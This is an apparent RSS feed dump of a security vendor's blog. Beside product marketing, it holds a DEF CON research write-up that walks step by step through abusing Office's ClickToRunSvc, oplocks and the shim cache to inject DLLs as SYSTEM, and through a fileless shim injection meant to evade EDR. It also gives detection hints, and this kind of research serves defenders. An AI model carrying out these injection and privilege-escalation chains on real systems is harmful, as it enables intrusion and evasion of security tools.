Using this method, we expose “DCOM Upload & Execute,” a powerful DCOM lateral movement attack that remotely writes custom payloads to the victim’s GAC, executes them from a service context, and communicates with them, effectively functioning as an embedded backdoor. 

The research presented here proves that many unexpected DCOM objects may be exploitable for lateral movement, and proper defenses should be aligned. 

If you are concerned about these stealthy attacks breaching your environment, request a demo to learn how Deep Instinct prevents what other vendors can’t find using the only deep learning framework in the world built from the ground up for cybersecurity. 

References

  1. https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ 

  2. https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ 

  3. https://github.com/tyranid/oleviewdotnet 

  4. https://securityboulevard.com/2023/10/lateral-movement-abuse-the-power-of-dcom-excel-application/ 

  5. https://www.cybereason.com/blog/dcom-lateral-movement-techniques

  6. https://learn.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory

  7. https://blog.xpnsec.com/rundll32-your-dotnet/

  8. https://www.nuget.org/packages/UnmanagedExports

  9. https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c

]]>
<![CDATA[Leveraging Deep Learning for Zero-Day Data Security in Cloud Storage]]> https://www.deepinstinct.com/blog/leveraging-deep-learning-for-zero-day-data-security-in-cloud-storage Mon, 25 Nov 2024 13:00:00 +0000 https://www.deepinstinct.com/blog/leveraging-deep-learning-for-zero-day-data-security-in-cloud-storage I have dedicated my career to safeguarding organizations’ most critical data assets. Throughout this journey, I’ve observed a recurring challenge: many organizations underestimate the risks of cloud storage, assuming their cloud providers secure their data in the cloud. The reality is that cloud providers protect their infrastructure, not customers’ data. They also don’t protect against misconfigurations, insufficient access controls, or overlooked permissions that leave sensitive data vulnerable. These gaps present significant risks from external attackers or insider threats, underscoring the need for a proactive, shared-responsibility approach to cloud security.

Cloud storage is a vital data management tool and a significant target for cybercriminals, positioned in the middle of a quickly escalating technological battle. As the data storage market evolves and rapidly expands, organizations face increasing challenges from exponential data growth and a deluge of zero-day attacks generated using Dark AI. And the native security capabilities of cloud storage providers aren’t enough to stop these sophisticated threats.

The Issue with Legacy Cybersecurity Tools

Amazon S3, the world’s largest cloud storage provider, dominates the enterprise data storage market. With this massive scale comes critical vulnerabilities for organizations, especially when using legacy cybersecurity tools that can’t keep pace. These tools foster a false sense of confidence and leave blind spots. For example, attacks like malware time-bombs are designed to evade detection by traditional signature-reliant tools. They can sit undetected in storage until triggered, catching most security tools off guard. Simultaneously, a flood of AI-generated attacks is exposing any gap in the perimeter, and legacy tools aren’t advanced enough to stop them. The pressure is mounting. The danger is growing. 

Fortunately, there is a path forward.

Solving a Massive Problem: Our Work with Amazon S3

Introducing Deep Instinct’s Data Security X (DSX) for Cloud – Amazon S3, a purpose-built solution providing Zero-Day Data Security (ZDDS) to defend Amazon S3 cloud storage environments against threats and preemptively neutralize malware.

After a quick and easy deployment, DSX for Cloud – Amazon S3 scans files at rest or in motion before they can execute. An industry-best scan speed of <20ms per file allows for scanning, categorization, quarantine of malicious files, and immediate alerts to security teams. And by reducing security events and minimizing infrastructure costs, DSX for Cloud contributes to a lower total cost of ownership (TCO). Best of all, it’s certified by AWS and works natively with Amazon S3.

Importantly, these scan speeds leverage our deep learning framework, which features >99% efficacy against known and unknown threats and a <0.1% false positive rate. Instead of just comparing files to a checklist of known threats, DSX for Cloud examines every file and determines if it's malicious, even if the code has never been seen before, by any service. With lightning-fast speeds, it can quickly scan your full S3 storage environment – something legacy tools can’t do – and scale with your storage needs. Put another way, DSX for Cloud effectively stops threats that other tools can’t find.

Fighting AI with the Best AI: Available Now

In the fight against zero-day threats and unknown malware, DSX for Cloud – Amazon S3 is the only solution on the market capable of preventing Dark AI-generated malware, regardless of the novelty or volume of attacks. The ability to prevent attacks is a necessity in high data volume environments. Deep Instinct levels the playing field, enabling you to fight AI with better AI.

DSX for Cloud – Amazon S3 is now available in the AWS Marketplace, enabling buyers to integrate the payment process with their existing AWS billing system and streamline their procurement experience.

]]>
<![CDATA[SHIM Me What You Got: Manipulating Shim and Office for Code Injection]]> https://www.deepinstinct.com/blog/SHIM-Me-What-You-Got:-Manipulating-Shim-and-Office-for-Code-Injection Wed, 18 Sep 2024 13:00:00 +0000 https://www.deepinstinct.com/blog/SHIM-Me-What-You-Got:-Manipulating-Shim-and-Office-for-Code-Injection Curiosity is a necessary personality trait for cybersecurity professionals. For many of us, that means taking the defensive knowledge we’ve built and using it as a weapon. Understanding attack methodologies and how attackers think is key to successfully defending against them.  

This blog is a supplement to our talk at DEF CON 32. In that talk we discussed the resurrection of an attack surface that cybersecurity vendors believed had been addressed a long time ago. We focused on two sets of unique attack surface research.  

The first study targeted RPC servers related to Office. Analyzing a single RPC method led to a noteworthy attack that combined several manipulations to achieve both code injection and privilege escalation.  

The second study focused on reverse-engineering the App Compatibility framework and its undocumented structures. We uncovered a novel and stealthy technique to apply malicious shims in a process that does not require registry modification or SDB files and leaves no traces on the disk. 

RPC Interface in Office 

Microsoft Office is one of the most popular pieces of software in the world.  It’s found on almost every Windows machine, no matter where it’s operating. It is a complex tool composed of many components necessary for its operation. Microsoft Office has com objects, scripting engines, and cloud synchronization, as well as backward compatibility for many features, all of which make it the perfect candidate for attack surface research. 

We began our research by looking for RPC servers running on the machine once Office has been installed. We found the process OfficeClickToRun.exe, which hosts the service ClickToRunSvc. OfficeClickToRun.exe exposes several interfaces, which are implemented in the following RPC files:  

  • OfficeClickToRun.exe 

  • AppVIsvVirtualization.dll 

  • AppVIsvSubsystemController.dll 

Picture1.png-1.png
RPC interfaces of ClickToRunSvc displayed with RPC Investigator

A string in AppVIsvVirtualization.dll caught our attention: "Could not inject subsystem dll to child process, process id %3%, module %2%, error code %1%." This is a debug string printed by one of the RPC methods the DLL exposes. 

Picture1.png-2.png
String in AppVIsvVirtualization.dll indicating on code injection

To verify that this method performs DLL injection, we debugged the service and put breakpoints on WinAPI for code injection. While starting an Office program, we saw this RPC method led to WriteProcessMemory! This looked promising, so we decided to dig deeper into this DLL. 

AppVIsvVirtualization.dll 

The description of AppVIsvVirtualization.dll is “Microsoft Application Virtualization Client Virtualization Manager Component.” In reality, it’s an RPC server that exposes two undocumented methods. The second method performs the DLL Injection. We used PowerShell to look for RPC clients and that led us to the file AppvIsvSubsystems64.dll. The public symbols of the client reveal that the functions that perform the RPC calls are named: 

    a. virtman_notification_server_notify_new_process 

    b. virtman_notification_server_notify_new_child_process 

Picture1.png-3.png
Searching for RPC clients with PowerShell
The Injection Process 

To understand the injection process, we started at the beginning and looked at what the client sends to the server. While debugging the software, Word showed us that a child process is created before the RPC method is invoked. The program ai.exe is launched in a suspended state. Afterward, the request is sent to the server with two parameters: The first is the PID of ai.exe. The second is a structure containing the string AppvIsvSubsystems64.dll and its length (i.e., the number of characters it contains). 

Next, we looked at the server and the files related to the app virtualization platform before we started to reverse-engineer it. We discovered that there were files with names like those found in the system32 directory.  

Picture1.png-4.png
App virtualization files in system32

Those files have symbols indicating that the Detours library is being used. ’Detours’ is an open-source library developed by Microsoft for monitoring and instrumenting API calls on Windows. It also offers the ability to inject code into other processes. AppVIsvSubsystemController.dll uses this ability by calling the functions DetourUpdateProcessWithDll and DetourCopyPayloadToProcess. It can be seen when comparing the Office file to the system32 file with BinDiff. 

Picture1.png-5.png
Comparison of the Office files to the system32 files with BinDiff

The source code of Detours reveals how the DLL injection is executed. The optional header is modified to point to a new copy of the import table that includes an additional import descriptor to the injected DLL. When viewing the headers of the injected process with WinDbg, the full path to the injected DLL is shown. 

Picture1.png-6.png
The headers of the injected process displayed with WinDBG

The suspended process is then resumed. Since the process is not fully initialized yet, the loader of the operating system uses the modified import table, and AppvIsvSubsystems64.dll is injected into the process. When OfficeClickToRun.exe receives a command to inject a DLL into a 32-bit process, it launches mavinject32.exe, which performs the same injection. 

Abusing ClickToRunSvc 

Popular software is often excluded from the behavioral analysis of security products to avoid false positives. Knowing that, forcing OfficeClickToRun.exe to inject a DLL might result in a detection bypass. 

We were able to imitate the call done by virtman_notification_server_notify_new_child_process and inject AppvIsvSubsystems64.dll into a suspended process... but how can we inject another DLL? We know that the function receives a string, so we can change the name of the DLL that will be injected, but writing our DLL file to the Office directory requires administrator privileges and looks very suspicious. 

Changing the string from AppvIsvSubsystems64.dll to C:\Temp\Injected.dll results in an attempt to load C:\Program Files\CommonFiles\microsoftshared\ClickToRun\C:\Temp\Injected.dll.  

It looks like the string is just appended to a directory without any checks, so we can use an old trick – directory traversal! The dot-dot-slash (..\) sequence will cause the file lookup to look at the parent directory. Several consecutive sequences of dot-dot-slash will manipulate the file lookup to look into a completely different directory. The following import descriptor will end up loading the file C:\temp\Injected.dll

Picture1.png-7.png
The headers of the process after manipulating the injection method

At this point, we have already found a new technique to perform DLL injection using a benign application. That alone is a respectable achievement, but we want more. 

The injection is performed by a process that runs as NT AUTHORITY\SYSTEM. The client can run with low privileges... so can we abuse this service for privilege escalation? 

Security Mechanisms in ClickToRunSvc 

ClickToRunSvc impersonates the RPC client before injecting to verify that it is alloed to access the remote process. This means that an RPC client running with a medium integrity level cannot inject a DLL into a high integrity level process. The thread handling the RPC request will use the same token as the client, and when it tries to gain a handle to the target process, the call to OpenProcess will fail with the error code ERROR_ACCESS_DENIED. 

Picture1.png-8.png
Security check ClickToRunSvc performs on the client's permissions

In conclusion, escalation from non-admin to admin privileges is not possible. But it does raise a different question: can we escalate from admin to NT AUTHORITY\SYSTEM? 

Launching Suspended Process as SYSTEM 

We used API monitoring to look for processes running as NT AUTHORITY\SYSTEM that call CreateProcess with the CREATE_SUSPENEDED flag, leading us to the task scheduler service. 

This service is a perfect candidate for abuse. Many scheduled tasks are launched as SYSTEM, including some that belong to Office. Forcing ClickToRunSvc to inject a DLL into another Office process is even less likely to raise alarms since it injects a DLL into ai.exe every time Word is launched. The task we chose is “Office Automatic Updates 2.0.” 

Picture1.png-9.png
Scheduled task created by Office and configuted to execute as "NT AUTHORITY\SYSTEM"

The problem is that the task scheduler service resumes the process shortly after it is launched. We need to find a way to hold the execution of the task scheduler service before it resumes the process so that we can modify the IAT. We can do that using an opportunistic lock. 

Opportunistic Locks 

An Opportunistic Lock (OpLock) is a mechanism used in networked file systems to optimize file access and improve performance. When a file is accessed by a client application, the server grants an opportunistic lock to the client. This lock allows the client to perform operations on the file without interference from other clients. While a client holds an opportunistic lock, it caches data locally. If another client attempts to access the same file, the server can break the opportunistic lock held by the first client. This ensures data consistency and prevents conflicts between clients. When the lock is broken, the server typically notifies the first client to flush any cached data and reestablish its lock, if necessary. 

Applications can also request an oplock when accessing a local file to prevent other applications and processes from corrupting the file. The application can request the oplock from the local filesystem and then cache the file locally. In these cases, the local server uses the opportunistic lock like a semaphore, the main purpose of which is to prevent data incoherency and notify the process about file access. 

If we can find a file that is accessed by the task scheduler service after the process is created but before it is resumed and the loader parses the IAT, we can request an oplock for this file and stop the service from resuming the process until the injection is done.  Monitoring file access during the launch of scheduled tasks showed that the file C:\Windows\apppatch\sysmain.sdb was read. This file is a shim database. It stores app compatibility settings. 

Picture1.png-10.png
Callstack showing the API CreateProcess open the shim database
App Compatibility 

The App Compatibility framework is a set of tools, libraries, and techniques provided by Microsoft to ensure that older Windows applications can still run smoothly on newer versions of the Windows operating system. This framework includes various compatibility modes, shims, and other mechanisms. 

The goal of the Windows App Compatibility framework is to minimize disruptions for users and businesses when upgrading to newer versions of Windows by maintaining compatibility with older software. It helps address issues related to changes in the operating system that might affect the behavior of existing applications, such as changes in APIs, security features, or system configurations. 

The framework offers single fixes, such as resolution change, or file redirection, and modes (also referred to as layers) that act as a pack of fixes applied together. 

Picture1.png-11.png
App compatibility fixes available through the file properties

This framework also uses .sdb files, or "Shim Database" files, to store compatibility fixes. The .sdb files are managed by the Compatibility Administrator tool, which is part of the Windows Assessment and Deployment Kit (ADK). Administrators can use this tool to create, modify, and deploy compatibility fixes stored in .sdb files to address compatibility issues across their organization’s applications. 

Our goal is to find a scheduled task that executes a file with app compatibility settings. To do that, we ran every task and checked which ones caused the service to read the sdb file. The only tasks we found were related to the Microsoft Edge update. They execute C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe, which we can see has compatibility settings using Microsoft’s Compatibility Administrator software. Every process containing the string “Update” will receive the “GenericInstaller” fix. 

Picture1.png-12.png
Entry in the shim database about files with the word "update"

This can be a good target for injecting a DLL into a 32-bit process, but we still need to find a 64-bit target. 

While researching this subject, we noticed a strange behavior. The sdb file was read the first time an executable ran since the machine booted, even if it didn’t have matching app compatibility settings. After that, in all subsequent runs, the sdb file wasn’t read. We wanted to find a way to guarantee the sdb file would be read any time an executable runs. We could achieve that legitimately by configuring a compatibility for the file: 

  1. The tool sdbinst, which installs a custom sdb file on the system by configuring the following registry values: 
    HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom 
    HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB 

  2. The compatibility window under the file’s properties 

SDB files are a known attack vector and can be abused for code injection and API hooking, which means Endpoint Detection & Response (EDR) tools might detect new app compatibility configurations, even if they are benign. It’s also why EDR is not enough to protect your organization. We want to avoid registry changes and make this configuration without touching the disk. 

Looking for files related to app compatibility led to apphelp.dll, and the main API it uses is NtApphelpCacheControl

NtApphelpCacheControl 

This is an undocumented API that is exported by ntdll. It receives two parameters: an integer and a pointer to an unknown structure. Looking for usages of this API across GitHub led us to the file ahcache.h, which was included in previous versions of Windows SDK. This header file has detailed information about the function’s parameters. 

In addition, we looked for API usage by other OS components. It is used by several DLL files, such as kernel32.dll, sxssrv.dll, apphelp.dll, and more. 

When we applied the definitions of the WinAPI on calls to it in the DLL files we found inconsistencies. The size of memory allocated for the structure was larger than its definition. In some functions, the value of the first parameter was higher than the possible values of the Enum. This means that those definitions were changed since the SDK with ahcache.h was published. 

Picture1.png-13.png
NtApphelpCacheControl is called with unknown parameters

We continued looking at the usages of NtApphelpCacheControl and discovered that the symbols of combase.dll contained information about the API! Extracting the relevant definitions of the symbols resulted in an updated version of ahcache.h. It shows us the various operations that can be performed with the API.

Picture1.png-14.png
Updated definition of the first parameter for NtApphelpCacheControl

Once we understand these definitions, the calls to the API in other DLL files are much clearer. CreateProcess calls this API behind the scenes with the parameter ApphelpCacheServiceLookupProcess:

Picture1.png-15.png
Callstack showing how the API CreateProcess looks up values in the cache

When the operating system shuts down, the cache is flushed to the registry and, on startup, is read and “loaded” as the current cache database. If the cache is clear when a process is launched for the first time, there is no information about it, so the sdb file is read, and an entry is added to the cache that specifies if the file has app compatibility fixes. That is why the sdb file isn’t read when a process is launched for the second time. 

If we remove this entry from the cache, the sdb file will be read again. 

After looking at cross-references to NtApphelpCacheControl, we saw that both kernel32.dll and apphelp.dll perform the “remove” operation. They also have an exported function that simplifies the creation of the structure by accepting only the file name and the file handle. 

Picture1.png-16.png
Function from kernel32.dll that removes values from the shim cache

After calling NtApphelpCacheControl with the “remove” parameter, the file’s execution will once again trigger reading the sdb file, which we can lock to keep the process suspended. We can then inject our DLL. 

Attack #1 Workflow 
  1. Write to disk the DLL that will be injected 

  2. Find the path of the file that an arbitrary scheduled task will execute ("Office Automatic Updates 2.0" for example) 

  3. Remove the shim cache for this file by calling BaseUpdateAppcompatCacheWorker from kernel32.dll 

  4. Request oplock for C:\windows\apppatch\sysmain.sdb 

  5. Send a message to the scheduled tasks service to execute “Office Automatic Updates 2.0” 

  6. The process will create SYSTEM in a suspended state 

  7. Scheduled tasks service will attempt to read C:\windows\apppatch\sysmain.sdb, then enter a wait state and won't resume the process 

  8. The callback from the oplock will be called  

  9. Send an RPC to the OfficeClickToRun service to inject the DLL into the suspended process 

  10. Release the oplock, and the scheduled tasks service resumes the process 

  11. The patched IAT will be used and the DLL will be loaded into a SYSTEM process

mp4_demo1-ezgif.com-video-to-gif-converter.gif
Showcasing the first attack
Attack #1 Summary 

This attack has the following advantages: 

  1. A benign and known process does the injection for us by executing a technique not monitored by EDR solutions. As such, it is unlikely to raise any alarms. 

  2. It injects the DLL into a benign process that cannot be connected to us. It is spawned as a child process of the task scheduler. 

  3. We achieve code execution as “NT AUTHORITY\SYSTEM.” 

  4. The rest of the actions we perform, such as calling NtApphelpCacheControl and requesting an OpLock, are mostly unmonitored by security products. 

This attack achieves both code injection and privilege escalation. It also demonstrates the process of looking for vulnerabilities. We found an RPC method that can be abused, but calling it wasn’t enough to execute a significant attack. When we hit an obstacle, we looked at another component of the OS to overcome it. Only by chaining all the manipulations can we gain something from the initial RPC call. 

Digging into the Apphelp Cache 

We wanted to gain a deeper understanding of what happens when we call NtApphelpCacheControl and what we can do with it. 

When the call to this API reaches the kernel, ntoskrnl.exe sends a device IO request to \Device\ahcache, which is controlled by ahcache.sys

Picture1.png-17.png
A look into the callstack of NtApphelpCacheControl

 

When ahcache.sys is loaded, it reads the registry values under 
\Registry\MACHINE\System\CurrentControlSet\Control\Session Manager\AppCompatCache
a. AppCompatCache 
b. CacheMainSdb 
c. SdbTime 

Picture1.png-18.png
The registry values that are used for cache operations

These values contain binary data that the driver sorts into an AVL table.

Picture1.png-19.png
From driver entry to the initialization of the AVL table

The various operations performed by NtApphelpCacheControl result in the lookup, insertion, or deletion of entries in the table. 

Each entry in the value’s AVL table that should be shimmed contains an EXE TAG. 
All entries contain the following: size of entry, size of data, data buffer, and NtImagePath. 
Data from the in-memory table is dumped into the registry value on shutdown/restart. 

Screenshot 2024-09-11 at 4.18.43 PM.png
Looking inside the AVL table

 

Let’s take the VRCHAT.exe entry, for example, and grab 9CCC20. If we convert from the little-endian format, we get 0x20cc9c. With sdb-explorer, we can search for the converted value in a readable version of sysmain.sdb. 

Picture1.png-20.png
Readable version of the sysmain.sdb entry by sdb-explorer

If we look inside the actual sysmain.sdb file at the 0x20cc9c address, we can see the entry, including the TAGs presented above. 

Picture1.png-21.png
The raw look of the entry inside of sysmain.sdb

vid1.gif
From AVL table entry to sysmain.sdb

While looking at the dispatch routines for \Device\ahcache, we noticed that the function that handles the request of ApphelpCacheServiceInitProcessData doesn’t access the AVL table. Instead, it writes into the memory of another process! 

Picture1.png-22.png
Writing to the memory of another process
Init Process Data 

When calling NtApphelpCacheControl with the parameter ApphelpCacheServiceInitProcessData, the structure that needs to be filled is: 

Picture1.png-23.png
Undocumented structure for ApphelpCacheServiceInitProcessData

Based on reverse engineering and old definitions from ReactOS, the undocumented Data field should look like this:  

Picture1.png-24.png
Undocumented Shim Data Structure

The function in ahcache.sys that handles this request is AhcApiInitProcessData. Before it writes to the memory of another process, several checks are made: 

a. ProcessHandle is not null 

b. DataSize is 0x11C0 or higher 

c. Data.Magic is 0xAC0DEDAB 

d. Data.Size is 0x11C0 

e. The calling process runs as NT AUTHORITY\SYSTEM and has the privilege SeTcbPrivilege 

f. Calling PsGetProcessProtection on the target process returns 0x81 (expanded upon below) 

g. The PEB of the target process is checked. BitField needs to have the flag IsPackagedProcess (0x10) turned on.  The call fails when PsGetProcessProtection is called. This function returns the field Protection from the EPROCESS structure. This field can be retrieved from user-mode and is documented under ZwQueryInformationProcess. The value 0x81 means that PS_PROTECTION.Type is PsProtectedTypeProtectedLight (0x1) and PS_PROTECTION.Signer is PsProtectedSignerApp (0x8). 

Picture1.png-25.png
PsProtectedTypeProtectedLight from the EPROCESS structure
Picture1.png-26.png
PsProtectedSignerApp from the EPROCESS structure

Looking at every process in Windows 11, we concluded that there are NO Windows Apps with this kind of protection. 
This means that we don’t have a target. 

We concluded that this call would not result in code injection, but we’ll leave it to the community to investigate this type of request and find a way to abuse it.  

Still, this undocumented structure piqued our intrest, and we wanted to understand what it represents. So, we looked for the magic values in all the DLL files on the system and found that several functions in kernel32.dll and apphelp.dll reference it: SdbUnpackAppCompatData, SdbPackAppCompatData, SdbGetAppCompatDataSize, BaseReadAppCompatDataForProcessWorker, BasepGetAppCompatData, and SbpGetShimData

image30.jpg
Magic Values search results
Compatibility Fixes Initialization 

Reverse engineering the functions that reference this magic value revealed that this structure represents the shim fixes that need to be applied to the process. When a new process is created, the following steps occur as part of kernelbase!CreateProcessInternalW

a. The parent queries the apphelp cache to check if the child process requires shim fixes. 

b. The parent process reads sysmain.sdb to retrieve the complete information about the fixes. 

c. The parent builds the structure according to these specific fixes and writes it to the memory of the child process.  

d. The parent modifies the value of PEB->pShimData to point to the structure. 

Picture1.png-27.png
A look at pShimData from the PEB structure

e. ntdll loads apphelp.dll if pShimData is not empty 

f. apphelp.dll applies the shim fixes according to the structure 

vid2.gif
Overview of what happens when a new process is created
Creating SHIM_DATA 

After the shim cache is queried, the parent process builds the SHIM_DATA structure as part of the call to CreateProcess.   

Picture1.png-28.png
Shim Data build flow inside the parent process

 

pShimData Injection 

To achieve our goal, we need to understand the fields of the undocumented structure written to PEB->pShimData.  

The tool “Compatibility Administrator” was used to install custom rules for various shims on the system.  

Picture1.png-29.png
The InjectDll Fix inside of the "Compatibility Administrator" tool

Once a custom rule was applied to a process, the raw data of SHIM_DATA was dumped from the memory of the process. The raw data was fuzzed by comparing it to other instances where a shim was applied to a process. Specific rules were created for different filenames and the structure was analyzed by looking at the difference between the values of the fields.  

In addition to custom rules, existing rules from sysmain.sdb were also tested. Processes were created to match the specifications of a rule, such as filename, version, company name, etc. Comparing the structure describing a custom rule to one describing a default rule sheds some light on additional fields.  

This methodology allows for the identification of patterns within both custom and standard sysmain.sdb entries, highlighting instances of exact matches, similarities, and complete differences in specific addresses in the dumps.

Finally, similar addresses are consolidated, and a process of elimination is initiated to determine which fields are non-essential, streamlining the structure for our uses. 

Picture1.png-30.png
A sysmain.sdb entry

Picture1.png-31.png
A custom sdb entry

This is the definition of the structure after reverse engineering: 

Picture1.png-32.png
The reverse-engineered SHIM_DATA structure we unveiled

We want to avoid registering a custom SDB file since it might be detected by a security product, so we need to find an existing entry in sysmain.sdb that applies the fix “Inject DLL.” The tool sdb-explorer can help us with that. 

Picture1.png-33.png
Our target sysmain.sdb entry for the attack

According to this entry, RTvideo.dll will be injected if the process name starts with GLJ, ends with the temp extension, and has the correct company and product name. Luckily, these checks are done by the parent process. Once SHIM_DATA->ExeTag points to this entry, apphelp.dll will apply the fix without checking the conditions.  

Limitations 

a. The injected process must be launched as suspended. We cannot inject into a process that is already running. The callstack that leads to LoadLibrary goes through apphelp!SE_InstallAfterInit, which is an exported function. We tried executing the attack on an already-running process by writing our custom SHIM_DATA to it and then launching a remote thread on the process that will execute apphelp!SE_InstallAfterInit again. This attempt failed because apphelp!SE_InstallAfterInit checks a global variable, and if the process is already initialized, the check will fail and the shim data won’t be processed. 

Picture1.png-34.png
The InjectDll fix call stack

b. The injected process cannot be a system file. AcGenral!NS_InjectDll::NotifyFn calls AcGenral!ShimLib::IsSystemExeFromSelf before injecting the DLL. The injection is skipped if the file is under C:\Windows\WinSXS or belongs to “Trusted Installer.”  

c. This shim fix is unavailable for 64-bit processes. To verify that Microsoft isn’t hiding this feature – and it truly is impossible – we can look at the code of the 64-bit version of AcGenral.dll. It doesn’t have a class called NS_InjectDll

With these limitations in mind, we started looking for a suitable executable file. 
And our previously mentioned “friend,” C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe, is our target as it complies with all three limitations. 

Attack #2 Flow   

At this point, we have enough knowledge to abuse the App Compatibility mechanism. We can inject a DLL by performing the following steps: 

a. Write a DLL to disk named RTvideo.dll

b. Launch a suspended process and set the current directory to be the same as the one containing RTvideo.dll 

c. Build a SHIM_DATA structure and set the ExeTag to be 0x4ed54 

d. Write the structure to the memory of the child process  

e. Point PEB->pShimData to the structure 

f. Resume the child process 

g. apphelp.dll will apply the InjectDll fix, and our DLL will be loaded

mp4_demo2-ezgif.com-video-to-gif-converter.gif
Showcasing the second attack
Attack #2 Summary 

Malicious shims are a known attack vector detected by many security products. By reverse engineering this infrastructure, we were able to renovate it. We found a novel method to make this attack file-less and registry-less. We applied a malicious shim in a process without registering an SDB file on the system. We effectively bypassed EDR detection by writing to a child process and loading the target dll from the suspended child process before any EDR hook can be established. We chose the “InjectDll” shim, but this attack can be adapted to other malicious shim fixes. 

Detection 
  1. First Attack:
    1. RPC to ClickToRunSvc with unusual DLL Paths
    2. Requesting OpLock for sysmain.sdb
    3. ClickToRunSvc writing to the memory of a process running as “NT AUTHORITY\SYSTEM”. 
  2. Second Attack:
    1. Writing DLLs that appear in sysmain.sdb, to an unusual directory
Further Research - App Compatibility 
  1. Find target for AhcApilnitProcessData
  2. Reverse engineer SHIM_DATA to find more ways to manipulate apphelp.dll 
  3. Poison the cache to cause another process to apply a malicious shim 

Conclusion 

We presented methodologies for attack surface research that led to new stealthy injection and privilege escalation techniques, which can be achieved by abusing two different OS components.  

By leveraging and manipulating various system components, including services, oplocks, and compatibility mechanisms, we demonstrated how to consolidate these elements into a singular, cohesive attack strategy.  

The oplock and compatibility mechanisms could be integral parts of other multi-component, sophisticated, and complex attacks. Oplock can be used in many scenarios as a building block, and there are far more shim fixes that can be used with malicious intent, even with 64-bit processes. 

Our extensive research uncovered new techniques for stealthy injection and privilege escalation, enhancing the effectiveness of these attacks. We demonstrated two attacks that won’t be monitored EDRs. The injections occur in a very early stage where EDRs can’t establish a hook yet.  

Through reverse engineering an undocumented API and its associated structures, we gained valuable insights that contributed to the development of these methods.  

Additionally, we modernized a previously known malicious technique, transforming it into a more elusive, fileless, and registry-less attack.  

We encourage the community to continue building on our research, exploring the leads we have provided to further advance the field. 

In the meantime, if you’re solely relying on EDR to detect and respond to breaches, learn more about why EDR is not enough, and then request a demo to find out how Deep Instinct leverages the only deep learning AI platform built for cybersecurity to prevent threats others can’t find. 

Github Repository 

]]>
<![CDATA["Hacker Summer Camp" Recap: Black Hat, DEF CON, and the Growing AI Arms Race]]> https://www.deepinstinct.com/blog/-hacker-summer-camp-recap-black-hat-def-con-and-the-growing-ai-arms-race Thu, 15 Aug 2024 13:00:00 +0000 https://www.deepinstinct.com/blog/-hacker-summer-camp-recap-black-hat-def-con-and-the-growing-ai-arms-race As Vendors Continue to Tout “AI” Capabilities, Let’s Talk About Real AI

Unsurprisingly, artificial intelligence (AI) continued to dominate onsite conversations, and similar to the RSA Conference earlier this year, both legacy and early-stage cybersecurity vendors felt compelled to tout “AI capabilities” in their marketing and booth collateral. But not all AI is created equal, and it sparked a conversation about the differences and nuances in AI technologies.

Many cybersecurity vendors promoted generative AI capabilities that are tacked onto existing technologies, a marketing tactic used to remain relevant in today’s AI conversations. But AI is not their core competency, and it never will be – at the end of the day, their AI explains how you were breached, but doesn’t prevent it.

We challenged booth visitors to ask vendors the hard-hitting questions about AI: Is it built on an archaic framework? Can it be air gapped? Is it the most advanced form of AI (deep learning), or just basic ML? The answers will tell you everything you need to know about vendors’ AI promises.

Deep Instinct is different from any other vendor in the market. Our deep learning (DL) cybersecurity framework prevents and explains unknown zero-day threats, so that security teams can both stop a breach before it happens and learn to predict the next attack. We’re a zero-day data security platform using the most advanced form of AI – developed before AI became a hot topic – to protect storage, applications, and endpoints, so your data remains secure regardless of where it resides.

Proven Prevention: Deep Instinct Wins CRN Award During Black Hat

During Black Hat, Deep Instinct’s Prevention for Storage (DPS) product was recognized by CRN in its 2024 Tech Innovator Awards. From more than 320 applicants, DPS rose to the top. DPS provides data storage threat prevention across NAS and cloud storage environments, preventing >99% of zero-day exploits, ransomware, and unknown threats in these storage repositories.

Highlighting Our Two Speaking Sessions at Black Hat and DEF CON

Capping off a memorable week were our two speaking sessions during Black Hat and DEF CON. First, our CIO and CISO, Carl Froggett, joined our VP of Global Sales Engineering, Brian Black, in a Black Hat session titled, “The Future of Cybersecurity: Embracing Prevention-First Strategies in the Age of Edge AI.” The duo discussed the new era of localized large language models (LLMs) amid the advent of neural processing units (NPUs) and neural engines in devices from Qualcomm and Apple. They also walked attendees through the implications of edge AI and localized LLMs, while highlighting the urgent need for prevention-focused approaches to safeguard against these evolving threats.

Then during DEF CON, Deep Instinct researchers Ron Ben-Yizhak and David Shandalov presented “SHIM Me What You Got - Manipulating Shim and Office for Code Injection,” introducing a novel and stealthy technique to apply malicious shims on a code injection process that does not require registry modification or SDB files and leaves no traces on the disk.

“Hacker summer camp” is always an exciting time, but what made this year even more memorable was the meteoric rise in AI visibility, and discussions centered on how to fight AI with better AI. The answer is deep learning. See for yourself what’s possible by requesting a Deep Instinct demo today.

]]>
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">
<channel>
<title>Deep Instinct Blog: Breaking News and Updates</title>
<atom:link href="https://www.deepinstinct.com/blog/feed/" rel="self" type="application/rss+xml"/>
<link>https://www.deepinstinct.com</link>
<description>Deep Instinct prevents more advanced threats than any EPP or EDR in the world.</description>
<lastBuildDate>Tue, 06 May 2025 14:38:20 +0000</lastBuildDate>
<language>en-US</language>
<sy:updatePeriod>hourly</sy:updatePeriod>
<sy:updateFrequency>1</sy:updateFrequency>
<image>
<url>https://www.deepinstinct.com/favicon/favicon-32x32.png</url>
<title>Deep Instinct Blog: Breaking News and Updates</title>
<link>https://www.deepinstinct.com</link>
<width>32</width>
<height>32</height>
</image>
<item>
<title>
<![CDATA[ RaaS Evolved: LockBit 3.0 vs LockBit 4.0 ]]>
</title>
<link>https://www.deepinstinct.com/blog/raas-evolved-lockbit-3-0-vs-lockbit-4-0</link>
<dc:creator>
<![CDATA[ Deep Instinct Threat Lab ]]>
</dc:creator>
